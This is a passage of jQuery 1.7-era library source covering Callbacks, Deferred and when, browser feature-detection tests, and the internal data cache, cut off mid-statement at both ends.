halted\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\tfiring = false;\n\t\t\tif ( list ) {\n\t\t\t\tif ( !flags.once ) {\n\t\t\t\t\tif ( stack && stack.length ) {\n\t\t\t\t\t\tmemory = stack.shift();\n\t\t\t\t\t\tself.fireWith( memory[ 0 ], memory[ 1 ] );\n\t\t\t\t\t}\n\t\t\t\t} else if ( memory === true ) {\n\t\t\t\t\tself.disable();\n\t\t\t\t} else {\n\t\t\t\t\tlist = [];\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t// Actual Callbacks object\n\t\tself = {\n\t\t\t// Add a callback or a collection of callbacks to the list\n\t\t\tadd: function() {\n\t\t\t\tif ( list ) {\n\t\t\t\t\tvar length = list.length;\n\t\t\t\t\tadd( arguments );\n\t\t\t\t\t// Do we need to add the callbacks to the\n\t\t\t\t\t// current firing batch?\n\t\t\t\t\tif ( firing ) {\n\t\t\t\t\t\tfiringLength = list.length;\n\t\t\t\t\t// With memory, if we're not firing then\n\t\t\t\t\t// we should call right away, unless previous\n\t\t\t\t\t// firing was halted (stopOnFalse)\n\t\t\t\t\t} else if ( memory && memory !== true ) {\n\t\t\t\t\t\tfiringStart = length;\n\t\t\t\t\t\tfire( memory[ 0 ], memory[ 1 ] );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn this;\n\t\t\t},\n\t\t\t// Remove a callback from the list\n\t\t\tremove: function() {\n\t\t\t\tif ( list ) {\n\t\t\t\t\tvar args = arguments,\n\t\t\t\t\t\targIndex = 0,\n\t\t\t\t\t\targLength = args.length;\n\t\t\t\t\tfor ( ; argIndex < argLength ; argIndex++ ) {\n\t\t\t\t\t\tfor ( var i = 0; i < list.length; i++ ) {\n\t\t\t\t\t\t\tif ( args[ argIndex ] === list[ i ] ) {\n\t\t\t\t\t\t\t\t// Handle firingIndex and firingLength\n\t\t\t\t\t\t\t\tif ( firing ) {\n\t\t\t\t\t\t\t\t\tif ( i <= firingLength ) {\n\t\t\t\t\t\t\t\t\t\tfiringLength--;\n\t\t\t\t\t\t\t\t\t\tif ( i <= firingIndex ) {\n\t\t\t\t\t\t\t\t\t\t\tfiringIndex--;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t// Remove the element\n\t\t\t\t\t\t\t\tlist.splice( i--, 1 );\n\t\t\t\t\t\t\t\t// If we have some unicity property then\n\t\t\t\t\t\t\t\t// we only need to do this once\n\t\t\t\t\t\t\t\tif ( flags.unique ) {\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn this;\n\t\t\t},\n\t\t\t// Control if a given callback is in the list\n\t\t\thas: function( fn ) {\n\t\t\t\tif ( list ) {\n\t\t\t\t\tvar i = 0,\n\t\t\t\t\t\tlength = list.length;\n\t\t\t\t\tfor ( ; i < length; i++ ) {\n\t\t\t\t\t\tif ( fn === list[ i ] ) {\n\t\t\t\t\t\t\treturn true;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn false;\n\t\t\t},\n\t\t\t// Remove all callbacks from the list\n\t\t\tempty: function() {\n\t\t\t\tlist = [];\n\t\t\t\treturn this;\n\t\t\t},\n\t\t\t// Have the list do nothing anymore\n\t\t\tdisable: function() {\n\t\t\t\tlist = stack = memory = undefined;\n\t\t\t\treturn this;\n\t\t\t},\n\t\t\t// Is it disabled?\n\t\t\tdisabled: function() {\n\t\t\t\treturn !list;\n\t\t\t},\n\t\t\t// Lock the list in its current state\n\t\t\tlock: function() {\n\t\t\t\tstack = undefined;\n\t\t\t\tif ( !memory || memory === true ) {\n\t\t\t\t\tself.disable();\n\t\t\t\t}\n\t\t\t\treturn this;\n\t\t\t},\n\t\t\t// Is it locked?\n\t\t\tlocked: function() {\n\t\t\t\treturn !stack;\n\t\t\t},\n\t\t\t// Call all callbacks with the given context and arguments\n\t\t\tfireWith: function( context, args ) {\n\t\t\t\tif ( stack ) {\n\t\t\t\t\tif ( firing ) {\n\t\t\t\t\t\tif ( !flags.once ) {\n\t\t\t\t\t\t\tstack.push( [ context, args ] );\n\t\t\t\t\t\t}\n\t\t\t\t\t} else if ( !( flags.once && memory ) ) {\n\t\t\t\t\t\tfire( context, args );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn this;\n\t\t\t},\n\t\t\t// Call all the callbacks with the given arguments\n\t\t\tfire: function() {\n\t\t\t\tself.fireWith( this, arguments );\n\t\t\t\treturn this;\n\t\t\t},\n\t\t\t// To know if the callbacks have already been called at least once\n\t\t\tfired: function() {\n\t\t\t\treturn !!fired;\n\t\t\t}\n\t\t};\n\n\treturn self;\n};\n\n\n\n\nvar // Static reference to slice\n\tsliceDeferred = [].slice;\n\njQuery.extend({\n\n\tDeferred: function( func ) {\n\t\tvar doneList = jQuery.Callbacks( \"once memory\" ),\n\t\t\tfailList = jQuery.Callbacks( \"once memory\" ),\n\t\t\tprogressList = jQuery.Callbacks( \"memory\" ),\n\t\t\tstate = \"pending\",\n\t\t\tlists = {\n\t\t\t\tresolve: doneList,\n\t\t\t\treject: failList,\n\t\t\t\tnotify: progressList\n\t\t\t},\n\t\t\tpromise = {\n\t\t\t\tdone: doneList.add,\n\t\t\t\tfail: failList.add,\n\t\t\t\tprogress: progressList.add,\n\n\t\t\t\tstate: function() {\n\t\t\t\t\treturn state;\n\t\t\t\t},\n\n\t\t\t\t// Deprecated\n\t\t\t\tisResolved: doneList.fired,\n\t\t\t\tisRejected: failList.fired,\n\n\t\t\t\tthen: function( doneCallbacks, failCallbacks, progressCallbacks ) {\n\t\t\t\t\tdeferred.done( doneCallbacks ).fail( failCallbacks ).progress( progressCallbacks );\n\t\t\t\t\treturn this;\n\t\t\t\t},\n\t\t\t\talways: function() {\n\t\t\t\t\tdeferred.done.apply( deferred, arguments ).fail.apply( deferred, arguments );\n\t\t\t\t\treturn this;\n\t\t\t\t},\n\t\t\t\tpipe: function( fnDone, fnFail, fnProgress ) {\n\t\t\t\t\treturn jQuery.Deferred(function( newDefer ) {\n\t\t\t\t\t\tjQuery.each( {\n\t\t\t\t\t\t\tdone: [ fnDone, \"resolve\" ],\n\t\t\t\t\t\t\tfail: [ fnFail, \"reject\" ],\n\t\t\t\t\t\t\tprogress: [ fnProgress, \"notify\" ]\n\t\t\t\t\t\t}, function( handler, data ) {\n\t\t\t\t\t\t\tvar fn = data[ 0 ],\n\t\t\t\t\t\t\t\taction = data[ 1 ],\n\t\t\t\t\t\t\t\treturned;\n\t\t\t\t\t\t\tif ( jQuery.isFunction( fn ) ) {\n\t\t\t\t\t\t\t\tdeferred[ handler ](function() {\n\t\t\t\t\t\t\t\t\treturned = fn.apply( this, arguments );\n\t\t\t\t\t\t\t\t\tif ( returned && jQuery.isFunction( returned.promise ) ) {\n\t\t\t\t\t\t\t\t\t\treturned.promise().then( newDefer.resolve, newDefer.reject, newDefer.notify );\n\t\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\t\tnewDefer[ action + \"With\" ]( this === deferred ? newDefer : this, [ returned ] );\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t});\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tdeferred[ handler ]( newDefer[ action ] );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t});\n\t\t\t\t\t}).promise();\n\t\t\t\t},\n\t\t\t\t// Get a promise for this deferred\n\t\t\t\t// If obj is provided, the promise aspect is added to the object\n\t\t\t\tpromise: function( obj ) {\n\t\t\t\t\tif ( obj == null ) {\n\t\t\t\t\t\tobj = promise;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tfor ( var key in promise ) {\n\t\t\t\t\t\t\tobj[ key ] = promise[ key ];\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\treturn obj;\n\t\t\t\t}\n\t\t\t},\n\t\t\tdeferred = promise.promise({}),\n\t\t\tkey;\n\n\t\tfor ( key in lists ) {\n\t\t\tdeferred[ key ] = lists[ key ].fire;\n\t\t\tdeferred[ key + \"With\" ] = lists[ key ].fireWith;\n\t\t}\n\n\t\t// Handle state\n\t\tdeferred.done( function() {\n\t\t\tstate = \"resolved\";\n\t\t}, failList.disable, progressList.lock ).fail( function() {\n\t\t\tstate = \"rejected\";\n\t\t}, doneList.disable, progressList.lock );\n\n\t\t// Call given func if any\n\t\tif ( func ) {\n\t\t\tfunc.call( deferred, deferred );\n\t\t}\n\n\t\t// All done!\n\t\treturn deferred;\n\t},\n\n\t// Deferred helper\n\twhen: function( firstParam ) {\n\t\tvar args = sliceDeferred.call( arguments, 0 ),\n\t\t\ti = 0,\n\t\t\tlength = args.length,\n\t\t\tpValues = new Array( length ),\n\t\t\tcount = length,\n\t\t\tpCount = length,\n\t\t\tdeferred = length <= 1 && firstParam && jQuery.isFunction( firstParam.promise ) ?\n\t\t\t\tfirstParam :\n\t\t\t\tjQuery.Deferred(),\n\t\t\tpromise = deferred.promise();\n\t\tfunction resolveFunc( i ) {\n\t\t\treturn function( value ) {\n\t\t\t\targs[ i ] = arguments.length > 1 ? sliceDeferred.call( arguments, 0 ) : value;\n\t\t\t\tif ( !( --count ) ) {\n\t\t\t\t\tdeferred.resolveWith( deferred, args );\n\t\t\t\t}\n\t\t\t};\n\t\t}\n\t\tfunction progressFunc( i ) {\n\t\t\treturn function( value ) {\n\t\t\t\tpValues[ i ] = arguments.length > 1 ? sliceDeferred.call( arguments, 0 ) : value;\n\t\t\t\tdeferred.notifyWith( promise, pValues );\n\t\t\t};\n\t\t}\n\t\tif ( length > 1 ) {\n\t\t\tfor ( ; i < length; i++ ) {\n\t\t\t\tif ( args[ i ] && args[ i ].promise && jQuery.isFunction( args[ i ].promise ) ) {\n\t\t\t\t\targs[ i ].promise().then( resolveFunc(i), deferred.reject, progressFunc(i) );\n\t\t\t\t} else {\n\t\t\t\t\t--count;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ( !count ) {\n\t\t\t\tdeferred.resolveWith( deferred, args );\n\t\t\t}\n\t\t} else if ( deferred !== firstParam ) {\n\t\t\tdeferred.resolveWith( deferred, length ? [ firstParam ] : [] );\n\t\t}\n\t\treturn promise;\n\t}\n});\n\n\n\n\njQuery.support = (function() {\n\n\tvar support,\n\t\tall,\n\t\ta,\n\t\tselect,\n\t\topt,\n\t\tinput,\n\t\tfragment,\n\t\ttds,\n\t\tevents,\n\t\teventName,\n\t\ti,\n\t\tisSupported,\n\t\tdiv = document.createElement( \"div\" ),\n\t\tdocumentElement = document.documentElement;\n\n\t// Preliminary tests\n\tdiv.setAttribute(\"className\", \"t\");\n\tdiv.innerHTML = \"   <link/><table></table><a href='/a' style='top:1px;float:left;opacity:.55;'>a</a><input type='checkbox'/>\";\n\n\tall = div.getElementsByTagName( \"*\" );\n\ta = div.getElementsByTagName( \"a\" )[ 0 ];\n\n\t// Can't get basic test support\n\tif ( !all || !all.length || !a ) {\n\t\treturn {};\n\t}\n\n\t// First batch of supports tests\n\tselect = document.createElement( \"select\" );\n\topt = select.appendChild( document.createElement(\"option\") );\n\tinput = div.getElementsByTagName( \"input\" )[ 0 ];\n\n\tsupport = {\n\t\t// IE strips leading whitespace when .innerHTML is used\n\t\tleadingWhitespace: ( div.firstChild.nodeType === 3 ),\n\n\t\t// Make sure that tbody elements aren't automatically inserted\n\t\t// IE will insert them into empty tables\n\t\ttbody: !div.getElementsByTagName(\"tbody\").length,\n\n\t\t// Make sure that link elements get serialized correctly by innerHTML\n\t\t// This requires a wrapper element in IE\n\t\thtmlSerialize: !!div.getElementsByTagName(\"link\").length,\n\n\t\t// Get the style information from getAttribute\n\t\t// (IE uses .cssText instead)\n\t\tstyle: /top/.test( a.getAttribute(\"style\") ),\n\n\t\t// Make sure that URLs aren't manipulated\n\t\t// (IE normalizes it by default)\n\t\threfNormalized: ( a.getAttribute(\"href\") === \"/a\" ),\n\n\t\t// Make sure that element opacity exists\n\t\t// (IE uses filter instead)\n\t\t// Use a regex to work around a WebKit issue. See #5145\n\t\topacity: /^0.55/.test( a.style.opacity ),\n\n\t\t// Verify style float existence\n\t\t// (IE uses styleFloat instead of cssFloat)\n\t\tcssFloat: !!a.style.cssFloat,\n\n\t\t// Make sure that if no value is specified for a checkbox\n\t\t// that it defaults to \"on\".\n\t\t// (WebKit defaults to \"\" instead)\n\t\tcheckOn: ( input.value === \"on\" ),\n\n\t\t// Make sure that a selected-by-default option has a working selected property.\n\t\t// (WebKit defaults to false instead of true, IE too, if it's in an optgroup)\n\t\toptSelected: opt.selected,\n\n\t\t// Test setAttribute on camelCase class. If it works, we need attrFixes when doing get/setAttribute (ie6/7)\n\t\tgetSetAttribute: div.className !== \"t\",\n\n\t\t// Tests for enctype support on a form(#6743)\n\t\tenctype: !!document.createElement(\"form\").enctype,\n\n\t\t// Makes sure cloning an html5 element does not cause problems\n\t\t// Where outerHTML is undefined, this still works\n\t\thtml5Clone: document.createElement(\"nav\").cloneNode( true ).outerHTML !== \"<:nav></:nav>\",\n\n\t\t// Will be defined later\n\t\tsubmitBubbles: true,\n\t\tchangeBubbles: true,\n\t\tfocusinBubbles: false,\n\t\tdeleteExpando: true,\n\t\tnoCloneEvent: true,\n\t\tinlineBlockNeedsLayout: false,\n\t\tshrinkWrapBlocks: false,\n\t\treliableMarginRight: true,\n\t\tpixelMargin: true\n\t};\n\n\t// jQuery.boxModel DEPRECATED in 1.3, use jQuery.support.boxModel instead\n\tjQuery.boxModel = support.boxModel = (document.compatMode === \"CSS1Compat\");\n\n\t// Make sure checked status is properly cloned\n\tinput.checked = true;\n\tsupport.noCloneChecked = input.cloneNode( true ).checked;\n\n\t// Make sure that the options inside disabled selects aren't marked as disabled\n\t// (WebKit marks them as disabled)\n\tselect.disabled = true;\n\tsupport.optDisabled = !opt.disabled;\n\n\t// Test to see if it's possible to delete an expando from an element\n\t// Fails in Internet Explorer\n\ttry {\n\t\tdelete div.test;\n\t} catch( e ) {\n\t\tsupport.deleteExpando = false;\n\t}\n\n\tif ( !div.addEventListener && div.attachEvent && div.fireEvent ) {\n\t\tdiv.attachEvent( \"onclick\", function() {\n\t\t\t// Cloning a node shouldn't copy over any\n\t\t\t// bound event handlers (IE does this)\n\t\t\tsupport.noCloneEvent = false;\n\t\t});\n\t\tdiv.cloneNode( true ).fireEvent( \"onclick\" );\n\t}\n\n\t// Check if a radio maintains its value\n\t// after being appended to the DOM\n\tinput = document.createElement(\"input\");\n\tinput.value = \"t\";\n\tinput.setAttribute(\"type\", \"radio\");\n\tsupport.radioValue = input.value === \"t\";\n\n\tinput.setAttribute(\"checked\", \"checked\");\n\n\t// #11217 - WebKit loses check when the name is after the checked attribute\n\tinput.setAttribute( \"name\", \"t\" );\n\n\tdiv.appendChild( input );\n\tfragment = document.createDocumentFragment();\n\tfragment.appendChild( div.lastChild );\n\n\t// WebKit doesn't clone checked state correctly in fragments\n\tsupport.checkClone = fragment.cloneNode( true ).cloneNode( true ).lastChild.checked;\n\n\t// Check if a disconnected checkbox will retain its checked\n\t// value of true after appended to the DOM (IE6/7)\n\tsupport.appendChecked = input.checked;\n\n\tfragment.removeChild( input );\n\tfragment.appendChild( div );\n\n\t// Technique from Juriy Zaytsev\n\t// http://perfectionkills.com/detecting-event-support-without-browser-sniffing/\n\t// We only care about the case where non-standard event systems\n\t// are used, namely in IE. Short-circuiting here helps us to\n\t// avoid an eval call (in setAttribute) which can cause CSP\n\t// to go haywire. See: https://developer.mozilla.org/en/Security/CSP\n\tif ( div.attachEvent ) {\n\t\tfor ( i in {\n\t\t\tsubmit: 1,\n\t\t\tchange: 1,\n\t\t\tfocusin: 1\n\t\t}) {\n\t\t\teventName = \"on\" + i;\n\t\t\tisSupported = ( eventName in div );\n\t\t\tif ( !isSupported ) {\n\t\t\t\tdiv.setAttribute( eventName, \"return;\" );\n\t\t\t\tisSupported = ( typeof div[ eventName ] === \"function\" );\n\t\t\t}\n\t\t\tsupport[ i + \"Bubbles\" ] = isSupported;\n\t\t}\n\t}\n\n\tfragment.removeChild( div );\n\n\t// Null elements to avoid leaks in IE\n\tfragment = select = opt = div = input = null;\n\n\t// Run tests that need a body at doc ready\n\tjQuery(function() {\n\t\tvar container, outer, inner, table, td, offsetSupport,\n\t\t\tmarginDiv, conMarginTop, style, html, positionTopLeftWidthHeight,\n\t\t\tpaddingMarginBorderVisibility, paddingMarginBorder,\n\t\t\tbody = document.getElementsByTagName(\"body\")[0];\n\n\t\tif ( !body ) {\n\t\t\t// Return for frameset docs that don't have a body\n\t\t\treturn;\n\t\t}\n\n\t\tconMarginTop = 1;\n\t\tpaddingMarginBorder = \"padding:0;margin:0;border:\";\n\t\tpositionTopLeftWidthHeight = \"position:absolute;top:0;left:0;width:1px;height:1px;\";\n\t\tpaddingMarginBorderVisibility = paddingMarginBorder + \"0;visibility:hidden;\";\n\t\tstyle = \"style='\" + positionTopLeftWidthHeight + paddingMarginBorder + \"5px solid #000;\";\n\t\thtml = \"<div \" + style + \"display:block;'><div style='\" + paddingMarginBorder + \"0;display:block;overflow:hidden;'></div></div>\" +\n\t\t\t\"<table \" + style + \"' cellpadding='0' cellspacing='0'>\" +\n\t\t\t\"<tr><td></td></tr></table>\";\n\n\t\tcontainer = document.createElement(\"div\");\n\t\tcontainer.style.cssText = paddingMarginBorderVisibility + \"width:0;height:0;position:static;top:0;margin-top:\" + conMarginTop + \"px\";\n\t\tbody.insertBefore( container, body.firstChild );\n\n\t\t// Construct the test element\n\t\tdiv = document.createElement(\"div\");\n\t\tcontainer.appendChild( div );\n\n\t\t// Check if table cells still have offsetWidth/Height when they are set\n\t\t// to display:none and there are still other visible table cells in a\n\t\t// table row; if so, offsetWidth/Height are not reliable for use when\n\t\t// determining if an element has been hidden directly using\n\t\t// display:none (it is still safe to use offsets if a parent element is\n\t\t// hidden; don safety goggles and see bug #4512 for more information).\n\t\t// (only IE 8 fails this test)\n\t\tdiv.innerHTML = \"<table><tr><td style='\" + paddingMarginBorder + \"0;display:none'></td><td>t</td></tr></table>\";\n\t\ttds = div.getElementsByTagName( \"td\" );\n\t\tisSupported = ( tds[ 0 ].offsetHeight === 0 );\n\n\t\ttds[ 0 ].style.display = \"\";\n\t\ttds[ 1 ].style.display = \"none\";\n\n\t\t// Check if empty table cells still have offsetWidth/Height\n\t\t// (IE <= 8 fail this test)\n\t\tsupport.reliableHiddenOffsets = isSupported && ( tds[ 0 ].offsetHeight === 0 );\n\n\t\t// Check if div with explicit width and no margin-right incorrectly\n\t\t// gets computed margin-right based on width of container. For more\n\t\t// info see bug #3333\n\t\t// Fails in WebKit before Feb 2011 nightlies\n\t\t// WebKit Bug 13343 - getComputedStyle returns wrong value for margin-right\n\t\tif ( window.getComputedStyle ) {\n\t\t\tdiv.innerHTML = \"\";\n\t\t\tmarginDiv = document.createElement( \"div\" );\n\t\t\tmarginDiv.style.width = \"0\";\n\t\t\tmarginDiv.style.marginRight = \"0\";\n\t\t\tdiv.style.width = \"2px\";\n\t\t\tdiv.appendChild( marginDiv );\n\t\t\tsupport.reliableMarginRight =\n\t\t\t\t( parseInt( ( window.getComputedStyle( marginDiv, null ) || { marginRight: 0 } ).marginRight, 10 ) || 0 ) === 0;\n\t\t}\n\n\t\tif ( typeof div.style.zoom !== \"undefined\" ) {\n\t\t\t// Check if natively block-level elements act like inline-block\n\t\t\t// elements when setting their display to 'inline' and giving\n\t\t\t// them layout\n\t\t\t// (IE < 8 does this)\n\t\t\tdiv.innerHTML = \"\";\n\t\t\tdiv.style.width = div.style.padding = \"1px\";\n\t\t\tdiv.style.border = 0;\n\t\t\tdiv.style.overflow = \"hidden\";\n\t\t\tdiv.style.display = \"inline\";\n\t\t\tdiv.style.zoom = 1;\n\t\t\tsupport.inlineBlockNeedsLayout = ( div.offsetWidth === 3 );\n\n\t\t\t// Check if elements with layout shrink-wrap their children\n\t\t\t// (IE 6 does this)\n\t\t\tdiv.style.display = \"block\";\n\t\t\tdiv.style.overflow = \"visible\";\n\t\t\tdiv.innerHTML = \"<div style='width:5px;'></div>\";\n\t\t\tsupport.shrinkWrapBlocks = ( div.offsetWidth !== 3 );\n\t\t}\n\n\t\tdiv.style.cssText = positionTopLeftWidthHeight + paddingMarginBorderVisibility;\n\t\tdiv.innerHTML = html;\n\n\t\touter = div.firstChild;\n\t\tinner = outer.firstChild;\n\t\ttd = outer.nextSibling.firstChild.firstChild;\n\n\t\toffsetSupport = {\n\t\t\tdoesNotAddBorder: ( inner.offsetTop !== 5 ),\n\t\t\tdoesAddBorderForTableAndCells: ( td.offsetTop === 5 )\n\t\t};\n\n\t\tinner.style.position = \"fixed\";\n\t\tinner.style.top = \"20px\";\n\n\t\t// safari subtracts parent border width here which is 5px\n\t\toffsetSupport.fixedPosition = ( inner.offsetTop === 20 || inner.offsetTop === 15 );\n\t\tinner.style.position = inner.style.top = \"\";\n\n\t\touter.style.overflow = \"hidden\";\n\t\touter.style.position = \"relative\";\n\n\t\toffsetSupport.subtractsBorderForOverflowNotVisible = ( inner.offsetTop === -5 );\n\t\toffsetSupport.doesNotIncludeMarginInBodyOffset = ( body.offsetTop !== conMarginTop );\n\n\t\tif ( window.getComputedStyle ) {\n\t\t\tdiv.style.marginTop = \"1%\";\n\t\t\tsupport.pixelMargin = ( window.getComputedStyle( div, null ) || { marginTop: 0 } ).marginTop !== \"1%\";\n\t\t}\n\n\t\tif ( typeof container.style.zoom !== \"undefined\" ) {\n\t\t\tcontainer.style.zoom = 1;\n\t\t}\n\n\t\tbody.removeChild( container );\n\t\tmarginDiv = div = container = null;\n\n\t\tjQuery.extend( support, offsetSupport );\n\t});\n\n\treturn support;\n})();\n\n\n\n\nvar rbrace = /^(?:\\{.*\\}|\\[.*\\])$/,\n\trmultiDash = /([A-Z])/g;\n\njQuery.extend({\n\tcache: {},\n\n\t// Please use with caution\n\tuuid: 0,\n\n\t// Unique for each copy of jQuery on the page\n\t// Non-digits removed to match rinlinejQuery\n\texpando: \"jQuery\" + ( jQuery.fn.jquery + Math.random() ).replace( /\\D/g, \"\" ),\n\n\t// The following elements throw uncatchable exceptions if you\n\t// attempt to add expando properties to them.\n\tnoData: {\n\t\t\"embed\": true,\n\t\t// Ban all objects except for Flash (which handle expandos)\n\t\t\"object\": \"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\",\n\t\t\"applet\": true\n\t},\n\n\thasData: function( elem ) {\n\t\telem = elem.nodeType ? jQuery.cache[ elem[jQuery.expando] ] : elem[ jQuery.expando ];\n\t\treturn !!elem && !isEmptyDataObject( elem );\n\t},\n\n\tdata: function( elem, name, data, pvt /* Internal Use Only */ ) {\n\t\tif ( !jQuery.acceptData( elem ) ) {\n\t\t\treturn;\n\t\t}\n\n\t\tvar privateCache, thisCache, ret,\n\t\t\tinternalKey = jQuery.expando,\n\t\t\tgetByName = typeof name === \"string\",\n\n\t\t\t// We have to handle DOM nodes and JS objects differently because IE6-7\n\t\t\t// can't GC object references properly across the DOM-JS boundary\n\t\t\tisNode = elem.nodeType,\n\n\t\t\t// Only DOM nodes need the global jQuery cache; JS object data is\n\t\t\t// attached directly to the object so GC can occur automatically\n\t\t\tcache = isNode ? jQuery.cache : elem,\n\n\t\t\t// Only defining an ID for JS objects if its cache already exists allows\n\t\t\t// the code to shortcut on the same path as a DOM node with no cache\n\t\t\tid = isNode ? elem[ internalKey ] : elem[ internalKey ] && internalKey,\n\t\t\tisEvents = name === \"events\";\n\n\t\t// Avoid doing any more work than we need to when trying to get data on an\n\t\t// object that has no data at all\n\t\tif ( (!id || !cache[id] || (!isEvents && !pvt && !cache[id].data)) && getByName && data === undefined ) {\n\t\t\treturn;\n\t\t}\n\n\t\tif ( !id ) {\n\t\t\t// Only DOM nodes need a new unique ID for each element since their data\n\t\t\t// ends up in the global cache\n\t\t\tif ( isNode ) {\n\t\t\t\telem[ internalKey ] = id = ++jQuery.uuid;\n\t\t\t} else {\n\t\t\t\tid = internalKey;\n\t\t\t}\n\t\t}\n\n\t\tif ( !cache[ id ] ) {\n\t\t\tcache[ id ] = {};\n\n\t\t\t// Avoids exposing jQuery metadata on plain JS objects when the object\n\t\t\t// is serialized using JSON.stringify\n\t\t\tif ( !isNode ) {\n\t\t\t\tcache[ id ].toJSON = jQuery.noop;\n\t\t\t}\n\t\t}\n\n\t\t// An object can be passed to jQuery.data instead of a key/value pair; this gets\n\t\t// shallow copied over onto the existing cache\n\t\tif ( typeof name === \"object\" || typeof name === \"function\" ) {\n\t\t\tif ( pvt ) {\n\t\t\t\tcache[ id ] = jQuery.extend( cache[ id ], name );\n\t\t\t} else {\n\t\t\t\tcache[ id ].data = jQuery.extend( cache[ id ].data, name );\n\t\t\t}\n\t\t}\n\n\t\tprivateCache = thisCache = cache[ id ];\n\n\t\t// jQuery data() is stored in a separate object inside the object's internal data\n\t\t// cache in order to avoid key collisions between internal data and user-defined\n\t\t// data.\n\t\tif ( !pvt ) {\n\t\t\tif ( !thisCache.data ) {\n\t\t\t\tthisCache.data = {};\n\t\t\t}\n\n\t\t\tthisCache = thisCache.data;\n\t\t}\n\n\t\tif ( data !== undefined ) {\n\t\t\tthisCache[ jQuery.camelCase( name ) ] = data;\n\t\t}\n\n\t\t// Users should not attempt to inspect the internal events object using jQuery.data,\n\t\t// it is undocumented and subject to change. But does anyone listen? No.\n\t\tif ( isEvents && !thisCache[ name ] ) {\n\t\t\treturn privateCache.events;\n\t\t}\n\n\t\t// Check for both converted-to-camel and non-converted data property names\n\t\t// If a data property was specified\n\t\tif ( getByName ) {\n\n\t\t\t// First Try to find as-is property data\n\t\t\tret = thisCache[ name ];\n\n\t\t\t// Test for null|undefined property data\n\t\t\tif ( ret == null ) {\n\n\t\t\t\t// Try to find the camelCased property\n\t\t\t\tret = thisCache[ jQuery.camelCase( name ) ];\n\t\t\t}\n\t\t} else {\n\t\t\tret = thisCache;\n\t\t}\n\n\t\treturn ret;\n\t},\n\n\tremoveData: function( elem, name, pvt /* Internal Use Only */ ) {\n\t\tif ( !jQuery.acceptData( elem ) ) {\n\t\t\treturn;\n\t\t}\n\n\t\tvar thisCache, i, l,\n\n\t\t\t// Reference to internal data cache key\n\t\t\tinternalKey = jQuery.expando,\n\n\t\t\tisNode = elem.nodeType,\n\n\t\t\t// See jQuery.data for more information\n\t\t\tcache = isNode ? jQuery.cache : elem,\n\n\t\t\t// See jQuery.data for more information\n\t\t\tid = isNode ? elem[ internalKey ] : internalKey;\n\n\t\t// If there is already no cache entry for this object, there is no\n\t\t// purpose in continuing\n\t\tif ( !cache[ id ] ) {\n\t\t\treturn;\n\t\t}\n\n\t\tif ( name ) {\n\n\t\t\tthisCache = pvt ? cache[ id ] : cache[ id ].data;\n\n\t\t\tif ( thisCache ) {\n\n\t\t\t\t// Support array or space separated string names for data keys\n\t\t\t\tif ( !jQuery.isArray( name ) ) {\n\n\t\t\t\t\t// try the string as a key before any manipulation\n\t\t\t\t\tif ( name in thisCache ) {\n\t\t\t\t\t\tname = [ name ];\n\t\t\t\t\t} else {\n\n\t\t\t\t\t\t// split the camel cased version by spaces unless a key with the spaces exists\n\t\t\t\t\t\tname = jQuery.camelCase( name );\n\t\t\t\t\t\tif ( name in thisCache ) {\n\t\t\t\t\t\t\tname = [ name ];\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tname = name.split( \" \" );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tfor ( i = 0, l = name.length; i < l; i++ ) {\n\t\t\t\t\tdelete thisCache[ name[i] ];\n\t\t\t\t}\n\n\t\t\t\t// If there is no data left in the cache, we want to continue\n\t\t\t\t// and let the cache object itself get destroyed\n\t\t\t\tif ( !( pvt ? isEmptyDataObject : jQuery.isEmptyObject )( thisCache ) ) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// See jQuery.data for more information\n\t\tif ( !pvt ) {\n\t\t\tdelete cache[ id ].data;\n\n\t\t\t// Don't destroy the parent cache unless the internal data object\n\t\t\t// had been the only thing left in it\n\t\t\tif ( !isEmptyDataObject(cache[ id ]) ) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\n\t\t// Browsers that fail expando deletion also refuse to delete expandos on\n\t\t// the window, but it will allow it on all other JS objects; other browsers\n\t\t// don't care\n\t\t// Ensure that `cache` is not a window object #10080\n\t\tif ( jQuery.support.deleteExpando || !cache.setInterval ) {\n\t\t\tdelete cache[ id ];\n\t\t} else {\n\t\t\tcache[ id ] = null;\n\t\t}\n\n\t\t// We destroyed the cache and need to eliminate the expando on the node to avoid\n\t\t// false lookups in the cache for entries that no longer exist\n\t\tif ( isNode ) {\n\t\t\t// IE does not allow us to delete expando properties from nodes,\n\t\t\t// nor does it have a removeAttribute function on Document nodes;\n\t\t\t// we must handle all of these cases\n\t\t\tif ( jQuery.support.deleteExpando ) {\n\t\t\t\tdelete elem[ internalKey ];\n\t\t\t} else if ( elem.removeAttribute ) {\n\t\t\t\telem.removeAttribute( internalKey );\n\t\t\t} else {\n\t\t\t\telem[ internalKey ] = null;\n\t\t\t}\n\t\t}\n\t},\n\n\t// For internal use only.\n\t_data: function( elem, name, data ) {\n\t\treturn jQuery.data( elem, name, data, true );\n\t},\n\n\t// A method for determining if a DOM node can handle the data expando\n\tacceptData: function( elem ) {\n\t\tif ( elem.nodeName ) {\n\t\t\tvar match = jQuery.noData[ elem.nodeName.toLowerCase() ];\n\n\t\t\tif ( match ) {\n\t\t\t\treturn 